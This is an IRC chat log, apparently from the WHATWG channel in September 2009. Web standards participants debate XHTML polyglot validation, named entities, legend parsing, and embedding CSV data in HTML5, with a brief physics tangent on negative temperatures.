[15:28:00.0000] <rubys>
tantek: you've switched positions on XHTML 1.0 entitites?

[15:28:01.0000] <tantek>
rubys - not switched, moved

[15:29:00.0000] <rubys>
cool.  Note that jacques distler has nominated two tests: http://intertwingly.net/blog/2009/09/02/Polyglot-Validation#c1251926776

[15:30:00.0000] <tantek>
rubys, part of the use case of XHTML for me has always been enabling XML tool chain uses - see: http://tantek.com/log/2003/01.html#L20030114t1345

[15:31:00.0000] <tantek>
/me feels a bit old citing 6+ year old blog posts.

[15:31:01.0000] <rubys>
that's one that zeldman may disagree with, but I'll leave that up to you two.  To me, it simply is an if-check.

[15:32:00.0000] <tantek>
rubys - hence why I said non-XML XHTML 1.0 named entities should be a *warning*, not an error

[15:32:01.0000] <rubys>
[my blog and my planet either use numeric entity references or pure utf-8]

[15:33:00.0000] <rubys>
initially, these will all be warnings... we can make fine grained distinctions later.

[15:33:01.0000] <tantek>
As my intuition says that Zeldman and other web designers will want to continue using named entities and still "validate"

[15:33:02.0000] <tantek>
rubys - the ones that will more likely cause runtime errors I'm advocating as "errors" if the "check XHTML syntax" checkbox is checked.

[15:33:03.0000] <tantek>
e.g. missing tbody would be an error

[15:34:00.0000] <rubys>
I think that eventually there won't be a single XHTML profile, but a series of ones... suitable for education (named entities OK) and suitable for enterprises (only 5 named entities and the numeric set)

[15:34:01.0000] <tantek>
I believe warning on the XHTML 1.0 named entities accomplishes that.

[15:35:00.0000] <rubys>
Suggestion for a useful test case: one that would be treated as iso-8859-1 when parsed as HTML and utf-8 when parsed as xhtml.

[15:35:01.0000] <tantek>
I'm hoping that HTML5 obeys the meta charset

[15:36:00.0000] <rubys>
HTML5 served as text/html does

[15:36:01.0000] <rubys>
HTML5 when parsed by an XML parser does not

[15:36:02.0000] <tantek>
heck I'd even be ok with a warning for any document that uses iso-8859-1

[15:36:03.0000] <rubys>
that's basically my thinking

[15:36:04.0000] <tantek>
and have the warning say use UTF8 instead

[15:36:05.0000] <tantek>
srsly

[15:36:06.0000] <TabAtkins>
Woo, I'll become a regular user of Opera soon, now that the Wii Internet Channel is free.

[15:36:07.0000] <rubys>
agreed

[15:36:08.0000] <TabAtkins>
That explains the menacing glow yesterday.

[15:38:00.0000] <tantek>
rubys - btw your blog posts cites "Jeffrey Zeldman" at the start - note that the "guide" was a collaboratively written document - a more accurate cite would be "The HTML5 Super Friends" (as signed at the bottom of the "guide" http://www.zeldman.com/superfriends/guide/

[15:39:00.0000] <tantek>
Jeffrey is hosting it at zeldman.com, not saying he wrote it, though of course he contributed to it heavily.

[15:39:01.0000] <rubys>
that term incites riots in certain sectors

[15:39:02.0000] <tantek>
usually the rioters stop when they become transfixed by the unicorn.

[15:40:00.0000] <tantek>
besides, the threat of rioting hasn't stopped you from being precise in the past ;)

[15:44:00.0000] <rubys>
ah, what the heck.  Fixed.

[15:49:00.0000] <othermaciej>
hi all

[15:49:01.0000] <othermaciej>
tantek: do you know if more of the Superfriends are planning to join the HTML WG?

[15:50:00.0000] <tantek>
I have encouraged and am encouraging all of them to do so. Some already have.

[15:50:01.0000] <Hixie>
i just block-moved all the public-html and whatwg feedback today into my pile to deal with -- was there anything important i should have seen?

[15:51:00.0000] <othermaciej>
tantek: do you know if anyone is going to send the collected feedback in direct email form? I think that would be helpful (even though there is already some discussion)

[15:51:01.0000] <tantek>
othermaciej - yes, Hixie requested that the feedback be given in email form yesterday on IRC as well.

[15:52:00.0000] <tantek>
and yes, that has/is already happening

[15:52:01.0000] <tantek>
different people are picking up different pieces of the feedback and emailing them in

[15:52:02.0000] <tantek>
e.g. Jeremy Keith (@adactio) has already sent a bunch to the public-html list

[15:53:00.0000] <tantek>
and I believe Jeffrey Zeldman has emailed some of the feedback/suggestions directly to Hixie (and many fixes appear to have already been made)

[15:53:01.0000] <Hixie>
i haven't received any direct feedback since the superheroes made their superannouncement indicating that they had feedback

[15:53:02.0000] <Hixie>
and jeremy doesn't seem to have sent any new feedback to public-html

[15:53:03.0000] <tantek>
Hixie, one *really* important thing, there's a typo in the last example in the time element section - http://www.whatwg.org/specs/web-apps/current-work/multipage/text-level-semantics.html#the-time-element

[15:53:04.0000] <tantek>
lt; should be &lt;

[15:53:05.0000] <Hixie>
(though he has commented on a few threads)

[15:54:00.0000] <Hixie>
tantek: file a bug using the feedback form in the spec :-)

[15:54:01.0000] <tantek>
I did - didn't seem to have any effect

[15:54:02.0000] <Hixie>
cool

[15:54:03.0000] <Hixie>
i'll get to it in due course

[15:54:04.0000] <tantek>
(yesterday)

[15:54:05.0000] <tantek>
cool

[15:55:00.0000] <tantek>
Hixie, feedback started being sent to the list (and to you directly) *before* the announcement was posted, as we didn't think waiting was necessary, so everyone was given freedom to make feedback ASAP, not wait for anything.

[15:55:01.0000] <Hixie>
ah ok

[15:55:02.0000] <tantek>
s/given freedom/encouraged

[15:56:00.0000] <Hixie>
so long as all the feedback is sent through one of the usual channels, that's good

[15:56:01.0000] <Hixie>
it just seemed like there was much more on zeldman's blog than had been sent

[15:56:02.0000] <Hixie>
maybe i was just confused by the font size :-)

[15:58:00.0000] <tantek>
Hixie - you might say that people are having open discussions regarding some points of feedback to clarify / improve them before sending them in officially so that when you see them on the list, your time is better spent.

[15:58:01.0000] <Hixie>
i might?

[15:59:00.0000] <tantek>
no reason to waste your time shooting down half-baked feedback. blog commenters are perfectly good at that. ;)

[16:00:00.0000] <othermaciej>
tantek: I'm kind of interested in the figure/details/legend feedback, since that seems to be a point where both the design folks and browser implementors are not entirely satisfied with the current state of the spec

[16:00:01.0000] <tantek>
othermaciej - I agree, and there was much debate on that point too.

[16:01:00.0000] <tantek>
or rather on details/legend specifically

[16:01:01.0000] <tantek>
figure is well liked AFAIK

[16:01:02.0000] <othermaciej>
what I meant specifically is use of legend for both details and figure - the big feedback post commented on both of those (though IIRC proposed different solutions for each)

[16:04:00.0000] <othermaciej>
I was prepared to drop this, but it seems in the 1.5 years since we last discussed this issue, there has been no progress on legend parsing in any of the browsers, and dissatisfaction with the state of things continues

[16:04:01.0000] <Hixie>
there's been massive progress

[16:04:02.0000] <Hixie>
mozilla implemented the entire html5 parser algorithm

[16:04:03.0000] <othermaciej>
when they ship it there will be progress

[16:05:00.0000] <TabAtkins>
/me loves SVL's quit message.

[16:07:00.0000] <TabAtkins>
I'm guessing that Gecko's new algo, a <legend> that's not a child of a <fieldset> is just treated like a normal block for styling purposes?

[16:08:00.0000] <othermaciej>
it should act like a normal inline, no?

[16:08:01.0000] <TabAtkins>
Oh, right.

[16:08:02.0000] <TabAtkins>
I think.

[16:08:03.0000] <TabAtkins>
/me shrugs.

[16:08:04.0000] <TabAtkins>
"Normal element" is what I was getting at, rather than "crazy element that doesn't use the normal display engine".

[16:09:00.0000] <othermaciej>
that's how it is supposed to be per spec, whether Mozilla has implemented that, I don't know

[16:10:00.0000] <annevk3>
hsivonen's parser does the correct thing

[16:10:01.0000] <tantek>
othermaciej - <details> is useful. I don't think <legend> is necessarily the right answer though.

[16:11:00.0000] <TabAtkins>
parser, yeah.  But does it respond correctly to CSS?  <legend> in <fieldset> doesn't, because it has some magic display issues.

[16:11:01.0000] <othermaciej>
tantek: that's sort of what I think - it's a tradeoff between minting a few more elements vs. making <figure> and <details> effectively unusable for years

[16:11:02.0000] <hober>
it's too bad <legend> and <caption> both have unfortunate legacy parsing concerns; it seems a shame to mint another element with effectively the same semantics. nevertheless, that might be what we need to do

[16:11:03.0000] <tantek>
precisely

[16:11:04.0000] <tantek>
(in reply to othermaciej)

[16:11:05.0000] <annevk3>
TabAtkins, yes it does, try a recent Firefox and put <legend> in the DOM in XML mode or some such

[16:12:00.0000] <tantek>
<legend> may be too legacy-encumbered to be useful for <figure> and <details>

[16:12:01.0000] <TabAtkins>
annevk3: Thanks, I only have the latest public release of FF.

[16:12:02.0000] <tantek>
and you know how much I am a strong advocate of re-use whenever possible.


2009-09-03
[18:36:00.0000] <AryehGregor>
Temperatures have an upper bound too, which is the same as their lower bound but from the opposite direction.  :)

[18:38:00.0000] <othermaciej>
negative temperatures are not a consideration in most situations, and are kind of a statistical fiction anyway

[18:39:00.0000] <tantek>
othermaciej negative C is quite common, and negative F is not uncommon either (having been in both)

[18:39:01.0000] <othermaciej>
tantek: I think AryehGregor meant negative Kelvin temperatures

[18:39:02.0000] <othermaciej>
or rather

[18:39:03.0000] <AryehGregor>
Yes, I did.

[18:39:04.0000] <tantek>
because Kelvin temps are so common in UI?

[18:40:00.0000] <tantek>
or web content for that matter?

[18:40:01.0000] <othermaciej>
they are not, but 0K is the absolute lower bound of temperature

[18:40:02.0000] <AryehGregor>
I dunno if they're a statistical fiction.  They make a lot of sense if you think of 1/T = dE/dS.  (Or did I get that upside-down?  I only minored in physics.)

[18:40:03.0000] <mpilgrim>
i see polyglot documents are back in the spotlight again

[18:40:04.0000] <othermaciej>
and for obscure reasons you can also claim it is the upper bound since negative temperatures are "hotter" than infinite temperatures

[18:40:05.0000] <mpilgrim>
what a complete fucking waste of time

[18:41:00.0000] <othermaciej>
AryehGregor: the way I think it's a fiction is that a body brought into contact with a negative temperature body won't in general come into thermal equilibrium at a negative temperature

[18:41:01.0000] <AryehGregor>
Um, units.  S has units of Boltzmann's constant, which occurs in PV = NkT, 1/T = PV/Nk, so yeah, it's 1/T = dE/dS.

[18:41:02.0000] <othermaciej>
(as far as I know anyway)

[18:41:03.0000] <AryehGregor>
I'm pretty sure my thermodynamics book said they behaved pretty much like normal temperatures.

[18:42:00.0000] <AryehGregor>
If we look at 1/T, they're totally natural.  1/T goes from -infinity to infinity, and must be finite.

[18:42:01.0000] <AryehGregor>
Thus T can be anything except zero, including infinity or -infinity, and infinity = -infinity.

[18:42:02.0000] <AryehGregor>
I don't think such "high" temperatures come up anywhere except carefully-crafted particle ensembles in laboratories, admittedly.

[18:50:00.0000] <mpilgrim>
tantek: so is it your belief that the world would be better served by an html validator that included a checkbox to check whether slashes, quotes, and other characters appear in certain places that have absolutely no effect on either validity or browser parsing?

[18:50:01.0000] <mpilgrim>
because i'm having difficulty seeing that as anything other than a complete waste of time

[18:51:00.0000] <tantek>
mpilgrim I do believe the more compile/validation-time errors (or common sources of errors) that you catch, the fewer run/browsing-time errors you run into, which saves time.

[18:52:00.0000] <mpilgrim>
ok, but the things you've listed are explicitly irrelevant to either validation or client-side parsing

[18:52:01.0000] <tantek>
and the "no effect on either validity or browser parsing" is not a provable statement - I reject it. especially when new browsers and browsing devices are coming out every few months

[18:52:02.0000] <AryehGregor>
If you're already running a validator, isn't the validator going to catch the errors anyway?

[18:52:03.0000] <tantek>
the stricter you code, the more defensive your code is, the more future-device/implementation-proof

[18:52:04.0000] <tantek>
AryehGregor - yes - the point is to improve the validator to give the option of catching more

[18:53:00.0000] <mpilgrim>
i'm sorry, are you suggesting that the very notion of a valid html document is NP-complete?

[18:53:01.0000] <AryehGregor>
But if the only purpose of catching things like omitting quotes is to protect against hypothetical errors that might be made if you don't omit them, then why don't you rely on the validator reporting those hypothetical errors directly, should they occur?

[18:54:00.0000] <AryehGregor>
I don't see why validators (or separate apps) couldn't also give stylistic advice, for people who wanted it.

[18:54:01.0000] <AryehGregor>
I'm of the opinion that quotes (and especially trailing slashes) fall firmly into the stylistic camp.

[18:54:02.0000] <mpilgrim>
stylistic advice is fine. i think that validators should warn about <title>Untitled document</title>, but that has no bearing on validity

[18:54:03.0000] <tantek>
AryehGregor - because it can't because the errors result from silent error recovery which may quietly have not the effect you expect until you *run* the code in a browser and maybe see it styled wrong or worse, have to wait from some DOM script/manipulation to fail.

[18:54:04.0000] <AryehGregor>
Actually, I actively dislike the trailing slash in text/html, because it misleads people into thinking it actually means something.

[18:55:00.0000] <AryehGregor>
tantek, the validator doesn't do silent error recovery, though . . .

[18:55:01.0000] <mpilgrim>
and the rules you've lined up so far are all about some mythical concept of "XHTML syntax", which as far as i can tell is "the markup you would have to send to a browser if you were using the proper MIME type, which of course you can't do because only crazy people do that, but it's all more semantic if you include slashes and shit"

[18:55:02.0000] <tantek>
AryehGregor - but HTML5 has tons of rules for UAs to do silent malformed content recovery.

[18:55:03.0000] <tantek>
therefore the validator does too

[18:56:00.0000] <AryehGregor>
If the content is malformed, the validator is required to report an error.  Only user agents have to do error recovery of any kind, AFAIK.

[18:56:01.0000] <tantek>
AryehGregor - if you always open/close tags in an XML-well-formed way, then you don't ever have to even think about what tags magically don't need an end tag etc.

[18:57:00.0000] <AryehGregor>
I honestly think there's less confusion about what tags magically don't need an end tag, than about what that trailing slash actually does.

[18:57:01.0000] <mpilgrim>
if the validator is going to go all stylistic on your ass, i'd prefer that it warn about massive stretches of whitespace, lack of gzip encoding, and stupid talismen like end-slashes-in-empty-tags that do nothing but bloat the web with unnecessary markup

[18:57:02.0000] <AryehGregor>
I've seen people do stuff like <div />Some text</div>.

[18:57:03.0000] <tantek>
mpilgrim - you're welcome to send your own suggestions for validator improvement

[18:57:04.0000] <mpilgrim>
and you're welcome to develop your own mythical concepts

[18:57:05.0000] <mpilgrim>
doesn't mean people should pay any attention to you

[18:58:00.0000] <tantek>
AryehGregor - and the validator improvements I suggest would catch that - since it you're auto-closing a typically non-empty element.

[18:58:01.0000] <AryehGregor>
tantek, it already catches that, since it's invalid HTML 5.

[18:58:02.0000] <mpilgrim>
um, the validator will already flag <div/>foo</div> because the </div> is closing an unopen tag

[18:58:03.0000] <AryehGregor>
The trailing slash is only allowed on self-closing elements, anything else is already a conformance error.

[18:58:04.0000] <tantek>
assuming you don't have an errant <div> before it

[18:58:05.0000] <mpilgrim>
your suggestions are all explicitly about useless markup

[18:59:00.0000] <AryehGregor>
mpilgrim, no, it's closing an open tag.  It will flag the <div /> because that's not allowed in text/html.

[18:59:01.0000] <AryehGregor>
/me tests

[18:59:02.0000] <AryehGregor>
"Error: Self-closing syntax (/>) used on a non-void HTML element. Ignoring the slash and treating as a start tag."

[18:59:03.0000] <tantek>
mpilgrim your use of the words mythical and useless are incorrect. every suggestion is based on concrete experience and productivity.

[18:59:04.0000] <tantek>
thanks AryehGregor - that is good to know.

[18:59:05.0000] <mpilgrim>
how about "not supported by spec text"

[19:00:00.0000] <mpilgrim>
you want to continue selling "semantic XHTML"

[19:00:01.0000] <tantek>
not particularly

[19:00:02.0000] <tantek>
semantic HTML seems sufficient

[19:00:03.0000] <mpilgrim>
but keep sending it as text/html

[19:00:04.0000] <AryehGregor>
In text/html, all self-closing "/"s are completely ignored.  For XHTML compatibility, they're allowed on void elements, but they still do nothing.

[19:01:00.0000] <tantek>
AryehGregor makes sense

[19:01:01.0000] <mpilgrim>
AryehGregor: let me rephrase that. "In text/html, all self-closing "/"s are completely ignored.  For compatibility with an obsolete language that 5 people in the world use correctly, they're allowed on void elements, but they still do nothing."

[19:01:02.0000] <AryehGregor>
Anyway, it looks like the initial HTML 5 deployment on Wikipedia will end up staying XML-compatible to shut up all the people who are still attached to XHTML.

[19:01:03.0000] <tantek>
mpilgrim I've tried experimenting with using application/xhtml+xml - I don't find it very productive/reliable, so I've stuck with text/html and recommend using it.

[19:02:00.0000] <tantek>
AryehGregor - it also helps enable some amount of XML tool chain reuse of the content, for whatever that is worth to the communities that use XML tool chains.

[19:02:01.0000] <AryehGregor>
mpilgrim, actually, to be fair, if you deal with a site that you *know* outputs well-formed XML almost always (like Wikipedia), then it's convenient to use an XML parser for screen-scraping.

[19:02:02.0000] <AryehGregor>
That's the major practical reason in favor of keeping well-formed XML on Wikipedia.

[19:02:03.0000] <mpilgrim>
i've tried experimenting with making my pages smaller by omitting useless crap. i've found it very reliable and recommend using it

[19:03:00.0000] <AryehGregor>
Because if we stop, we're pretty sure we'll get a dozen major bots breaking overnight.

[19:03:01.0000] <tantek>
AryehGregor - that practical reason has been re-affirmed by lots of folks.

[19:03:02.0000] <AryehGregor>
However, in Wikipedia's case, we don't want people screen-scraping anyway.

[19:03:03.0000] <AryehGregor>
We have a bot API that's much more convenient and efficient and reliable.

[19:03:04.0000] <tantek>
parsing != screenscraping

[19:03:05.0000] <AryehGregor>
Screen-scrapers annoy us because they cause complaints whenever we change the HTML layout anyway.

[19:03:06.0000] <tantek>
screenscraping is using regex's and other outside-the-language-definition hacks to extract content

[19:04:00.0000] <tantek>
if you're parsing (XML or HTML) you're not scraping

[19:04:01.0000] <tantek>
you're parsing

[19:04:02.0000] <AryehGregor>
You're parsing human-readable content with a bot.  Not reliable or advisable.

[19:04:03.0000] <AryehGregor>
It's fragile no matter how you're parsing it.

[19:04:04.0000] <AryehGregor>
Because the DOM can be changed around arbitrarily as features are added and removed and so on.

[19:05:00.0000] <AryehGregor>
Anyway, I mostly agree with mpilgrim.  I see no good reason to use XHTML-style HTML.

[19:05:01.0000] <annodomini>
Well, unless Microdata/formats/RDFa catches on and is used well.

[19:05:02.0000] <AryehGregor>
I made sure to add a "use well-formed XML" configuration option to MediaWiki when adding HTML 5 support, and have happily turned it off on my wikis.

[19:06:00.0000] <AryehGregor>
There are absolutely no possible issues with reliability here -- everything is generated with functions that automatically add slashes and quotes and so on only if necessary.

[19:06:01.0000] <AryehGregor>
So there's no plausible possibility of errors being introduced by this.

[19:07:00.0000] <AryehGregor>
Unless of course HTML 5 parsing rules aren't actually 100% reliably implemented in practice.

[19:07:01.0000] <tantek>
AryehGregor - that is good to know

[19:07:02.0000] <AryehGregor>
I'm sad that = is banned in unquoted attribute values.

[19:07:03.0000] <AryehGregor>
It's not really ambiguous, after all.  If it were allowed, you wouldn't have to quote any URLs.

[19:07:04.0000] <tantek>
and yes I expect HTML5 parsing rules aren't 100% reliably implemented in practice because they depend on quirks of just a few desktop browsers.

[19:08:00.0000] <AryehGregor>
I assume there are compatibility issues with it.

[19:08:01.0000] <AryehGregor>
. . . All of which have to parse things more or less the same way, or break 80% of the web.

[19:08:02.0000] <tantek>
you don't need all the rules in HTML5 in order to not break 80% of the web

[19:09:00.0000] <tantek>
there's too much documentation of quirks IMHO

[19:09:01.0000] <tantek>
but it's not a big enough deal to ask for changes in the spec

[19:09:02.0000] <tantek>
(to me anyway)

[19:09:03.0000] <AryehGregor>
AFAICT, quirks are only included if they're important enough that major vendors aren't willing to drop them.

[19:10:00.0000] <AryehGregor>
So I'd say you probably do need all the rules, or nearly all, to get pages to work right.  Of course, you could drop a lot of the quirks and still get 95% of the web rendering right, but 95% isn't enough for implementors.

[19:11:00.0000] <tantek>
AryehGregor "major vendors" == just a few desktop browsers == a fraction of the HTML implementations out there.

[19:11:01.0000] <AryehGregor>
The only ones anyone cares about, though, to be honest.

[19:12:00.0000] <AryehGregor>
"almost anyone", if you like.

[19:12:01.0000] <tantek>
hence: "HTML 5 parsing rules aren't actually 100% reliably implemented in practice."

[19:12:02.0000] <tantek>
new browsers/devices that people *start* caring about come along all the time

[19:13:00.0000] <AryehGregor>
"in practice" = "enough people care that someone bothers to complain"

[19:13:01.0000] <tantek>
witness iPhone WebKit which is close to, but not the same as desktop WebKit

[19:13:02.0000] <tantek>
and this will continue

[19:13:03.0000] <AryehGregor>
Does its HTML parser differ at all?

[19:13:04.0000] <tantek>
no idea - but its browser/rendering behavior does - that's what people actually "care about"

[19:13:05.0000] <tantek>
to use your words

[19:13:06.0000] <tantek>
rather than nitpicking of is it differences in the HTML parser or some other block of code?

[19:14:00.0000] <AryehGregor>
Any difference other than in the HTML parsing isn't really relevant to speccing HTML parsing quirks.

[19:17:00.0000] <AryehGregor>
AFAICT, new HTML user agents of any significance arise rarely, and when they do they take great pains to replicate quirks of existing user agents.

[19:27:00.0000] <annodomini>
TabAtkins: I don't think that a <csv> element is a good idea; it's pretty odd to have a special element for one particular data format with completely different parsing rules embedded in HTML

[19:27:01.0000] <annodomini>
Why not a <tex> element for TeX? Or any other format that you might be able to cram in?

[19:28:00.0000] <annodomini>
Instead, HTML5 already allows you to use <script> for embedding data in other formats.

[19:31:00.0000] <annodomini>
I've rewritten your <csv> example to use <script type="text/csv">; you can even get your fallback behavior (which works in Firefox and Safari at least) with script[type^="text/csv"] { display: block; }

[19:31:01.0000] <annodomini>
http://ephemera.continuation.org/csv.html

[19:31:02.0000] <tantek>
annodomini - <csv> is a form of pre, and is quite common. the application to open government and open science sites makes a big difference.

[19:31:03.0000] <tantek>
<script type="text/csv"> may be a suitable way of doing it too

[19:32:00.0000] <tantek>
rather than a new element

[19:32:01.0000] <tantek>
but csv feels more like <pre> than <script>

[19:32:02.0000] <tantek>
perhaps it could be done with attributes on <pre>

[19:32:03.0000] <tantek>
rather than a new element

[19:33:00.0000] <annodomini>
Right, I'm not objecting to CSV in general. I just think it would be weird to have a new element with entirely different parsing rules standardised in HTML.

[19:33:01.0000] <AryehGregor>
You mean like <svg> and <math>?

[19:34:00.0000] <annodomini>
Those don't have entirely different parsing rules. In XHTML, they parse like any other XML. In HTML, they can still generally use the same parsing rules and DOM as the rest of HTML, though there are some details that need to be worked out.

[19:35:00.0000] <annodomini>
I do think it's a bit odd to be doing <svg> and <math> in the HTML syntax, but it's not really out there; they have the same basic DOM structure and same basic parsing behavior as the rest of the language.

[19:36:00.0000] <AryehGregor>
So SVG/MathML in HTML doesn't have to be well-formed XML?  I haven't looked.

[19:37:00.0000] <annodomini>
Has that part ben specced yet? I though that it hadn't really been fully specced.

[19:38:00.0000] <heycam>
yes it doesn't have to be well-formed xml

[19:38:01.0000] <heycam>
although most common well-formed xml svg will be parsed correctly

[19:38:02.0000] <heycam>
e.g. if you use prefixes it won't work

[19:52:00.0000] <tantek>
using prefixes in general doesn't work so that makes sense

[19:53:00.0000] <tantek>
annodomini - where did you come up with the ;header=present;separator=\t" parameters for text/csv? are those standard?

[19:54:00.0000] <annodomini>
http://www.ietf.org/rfc/rfc4180.txt

[19:54:01.0000] <annodomini>
The header one is standard.

[19:54:02.0000] <annodomini>
The separator one was based on TabAtkin's proposed attribute.

[20:02:00.0000] <tantek>
annodomini you've convinced me that another element is not necessary. we can do this by simply adding an attribute (that we need anyway) to <pre>

[20:03:00.0000] <annodomini>
What attribute are you thinking of?

[20:03:01.0000] <tantek>
a "separator" attribute - if present/non-empty, then treat contents as CSV and provide table DOM API access to the rows/columns

[20:03:02.0000] <tantek>
and per RFC4180, add a "header" attribute which takes the values "absent" or "present"

[20:04:00.0000] <tantek>
so

[20:05:00.0000] <tantek>
<pre separator="," header="present">Year,Make,Model

[20:05:01.0000] <tantek>
etc.

[20:08:00.0000] <annodomini>
Hmm. It seems weird that <pre> would render as a table if @separator is present, and as simply as as fixed-width text with spaces preserved otherwise.

[20:09:00.0000] <annodomini>
I really think that <script> is the right solution for this, as it allows for a mime type and can thus support a much wider variety of formats.

[20:09:01.0000] <annodomini>
Or, perhaps, a <data> element that is like <script> but the contents are expected to be static data rather than an executable <script>.

[20:09:02.0000] <tantek>
it provides good fallback for browsers that don't support @separator

[20:09:03.0000] <tantek>
and it is content that should be displayed

[20:10:00.0000] <tantek>
hence why <pre> is better than <script> for this

[20:10:01.0000] <tantek>
a <data> element would be fine too

[20:10:02.0000] <tantek>
but that's the same problem as creating a new <csv> element

[20:11:00.0000] <annodomini>
<data> would be general purpose, and not work for only one specific format.

[20:11:01.0000] <tantek>
there is a good case for <csv> given the huge corpuses of data being published in that format

[20:11:02.0000] <tantek>
I would need to see use cases for a more general <data>

[20:12:00.0000] <annodomini>
There's a huge amont of data published in .xls, but should that be part of HTML?

[20:12:01.0000] <tantek>
xls is far more complicated and proprietary

[20:12:02.0000] <tantek>
I would be against inclusion purely because of that

[20:13:00.0000] <tantek>
whereas publishing csv is *common* practice in government and science communities

[20:13:01.0000] <tantek>
and the fallback works well

[20:13:02.0000] <tantek>
that's the key

[20:13:03.0000] <tantek>
csv data inside a <pre>  is still reasonably viewable

[20:13:04.0000] <tantek>
even listenable

[20:14:00.0000] <tantek>
(neither of those are true for xls)

[20:14:01.0000] <annodomini>
How about TeX? Lots of stuff published in that format. It falls back well (a lot better than MathML for sure).

[20:14:02.0000] <tantek>
annodomini - I think you could make a better case for including TeX than MathML

[20:15:00.0000] <tantek>
given the huge disparity in amount of content published (TeX wayyyyy (1000x?) more than MathML)

[20:15:01.0000] <tantek>
and I would agree it falls back "better" than MathML - though still not particularly well

[20:15:02.0000] <annodomini>
Well, except that TeX involves bringing in a whole other programming language, it's own formatting model that I'm sure has plenty of subtle differences from the CSS formatting model, and so on.

[20:15:03.0000] <tantek>
I wouldn't want to listen to raw TeX in a screen reader

[20:16:00.0000] <annodomini>
Yeah, maybe MathML isn't a great example.

[20:16:01.0000] <tantek>
the visual/listenable fall back is key here

[20:16:02.0000] <tantek>
is there a recommended mechanism in HTML5 for marking up ASCII Art?

[20:17:00.0000] <tantek>
(besides just <pre>)

[20:17:01.0000] <annodomini>
That's pretty much what <pre> is for.

[20:17:02.0000] <AryehGregor>
"subtle" differences?  TeX's formatting model is *ridiculously* different from CSS.

[20:17:03.0000] <tantek>
annodomini - no that doesn't work well due to the listenability problem

[20:17:04.0000] <tantek>
<pre>(:</pre>

[20:18:00.0000] <tantek>
ASCII art is an image essentially

[20:18:01.0000] <tantek>
and thus needs "alt" or something similar

[20:18:02.0000] <AryehGregor>
Raw TeX is actually pretty listenable, as far as things go.  You can't say complicated equations very effectively at all.

[20:18:03.0000] <annodomini>
AryehGregor: Fair enough. I don't know much about TeX's formatting model; I figured it had some of the same basic ideas about box layout.

[20:18:04.0000] <AryehGregor>
TeX is a programming language that's generally used for layout.

[20:19:00.0000] <AryehGregor>
I don't know much about its formatting model either.  I mean, it's not like there's a spec or multiple implementations, AFAIK.

[20:19:01.0000] <tantek>
/me looks for work on CSS anonymous table object pseudo-elements but can't seem to find them on the Web. e.g. ::table-row, ::table-cell

[20:20:00.0000] <tantek>
or even ::table-row(an+b), ::table-cell(an+b)

[20:20:01.0000] <tantek>
so you could say

[20:20:02.0000] <tantek>
pre[separator]::table-row(2n+1) {background:silver}

[20:21:00.0000] <tantek>
to give silver backgrounds to alternating rows in a CSV

[20:22:00.0000] <annodomini>
tantek: Well, all of the alternatives to the "alt" attribute defined for <img> would probably apply for <pre> as well (such as its title attribute, legend/caption/whatever it will be called of a figure, etc)

[20:23:00.0000] <annodomini>
tantek: The other problem with <pre separator> is that if the separator is being treated in the most simple manner (with the rows separated by newlines and columns by the separator), then you can't actually use most CSV, which allows you to wrap columns in quotes.

[20:23:01.0000] <tantek>
right the point would be that the "separator" attribute would follow CSV rules

[20:24:00.0000] <tantek>
this page has a reasonable description of the quoted columns stuff etc. http://www.creativyst.com/Doc/Articles/CSV/CSV01.htm

[20:26:00.0000] <tantek>
for reference: CSS 2.1 anonymous table objects: http://www.w3.org/TR/CSS21/tables.html#anonymous-boxes

[20:26:01.0000] <tantek>
CSS has precedence for synthetically generated table-row/cell pseudo-elements etc.

[20:26:02.0000] <annodomini>
Is it common to allow quoted columns in tab delimited text?

[20:27:00.0000] <annodomini>
I know it's common in CSV (though the exact details of how to escape quotes themselves vary)

[20:29:00.0000] <tantek>
annodomini - I think it would be reasonable to apply the quote escaping to apply to any separator

[20:29:01.0000] <tantek>
to make the quote escaping apply to

[20:30:00.0000] <annodomini>
Various formats also use colons, semicolons, and vertical pipe delimiters; I'm not sure if there are any common quoting rules between the various formats.

[20:34:00.0000] <ttepasse>
tantek, I never got <datagrid> completely ??but could't be a modified <datagrid> thinkable backed by a (linked) CSV-File?

[20:34:01.0000] <tantek>
maybe

[20:35:00.0000] <tantek>
the advantages of <pre separator> is that it provides the data inline, and has good fallback behavior for implementations that don't support it

[21:04:00.0000] <othermaciej>
good evening

[21:19:00.0000] <tantek>
good evening othermaciej

[22:52:00.0000] <AryehGregor>
/me sends off spec comments for sections 4.9-4.10

[23:58:00.0000] <othermaciej>
Philip`: did you ever get around to updating your HTML5+RDFa draft?

[00:37:00.0000] <Philip`>
othermaciej: No

[00:37:01.0000] <othermaciej>
Philip`: alas

[00:38:00.0000] <othermaciej>
Philip`: I'm wondering how much detailed advice I should give Manu on how to write a sound and precise spec - it would be so much easier just to point to your document

[00:40:00.0000] <Philip`>
othermaciej: (I think I realised I didn't care enough to try updating it, when the result would probably not be any more practically useful than the current version)

[00:41:00.0000] <othermaciej>
Philip`: you mean because you don't think the document or at least chunks of its language will be accepted, or because writing a detailed spec for RDFa+HTML5 is not worth the effort?

[00:42:00.0000] <othermaciej>
(or something else?)

[00:43:00.0000] <othermaciej>
I guess what I'm asking is, would you be more motivated to update if there was more enthusiasm shown for your approach, or did you decide it's not a good use of your time in any case?

[00:43:01.0000] <othermaciej>
(either is ok, it would just inform what I do next)

[00:44:00.0000] <Philip`>
othermaciej: I don't know :-(

[00:44:01.0000] <Philip`>
Mostly I'm just lazy and had other things to do yesterday

[00:45:00.0000] <othermaciej>
Philip`: ok

[00:45:01.0000] <othermaciej>
I think it would be a helpful contribution, but I won't pester you about it

[00:47:00.0000] <Philip`>
/me might feel less lazy at some point in the future

[00:47:01.0000] <Lachy>
Philip`, where is your HTML+RDFa draft?

[00:48:00.0000] <Lachy>
and why did you start it, and what significant changes had you done or initially intended to do?

[00:51:00.0000] <Philip`>
Lachy: http://philip.html5.org/docs/rdfa/

[00:52:00.0000] <Philip`>
Most of the feedback from RDFa people seemed to be that duplicating the RDFa-in-XHTML Processing Model section is bad (because it can cause unwanted divergence between the syntaxes), so I suppose in theory I'd want to remove that duplication

[00:54:00.0000] <hsivonen>
Is getting the XHTML 1.1 side into REC like "Bank" on Who wants to be a millionnaire?

[00:54:01.0000] <hsivonen>
so defining both HTML and XHTML behavior in one spec is unacceptable because it would turn the XHTML side into a non-REC again?

[00:55:00.0000] <Philip`>
(Do you mean "Bank" on The Weakest Link?)

[00:56:00.0000] <hsivonen>
Philip`: hmm. maybe. I don't watch game shows routinely enough to know these well enough

[00:58:00.0000] <hsivonen>
So the W3C Process is not only like Survivor but it's like the Weakest Link, too.

[00:59:00.0000] <hsivonen>
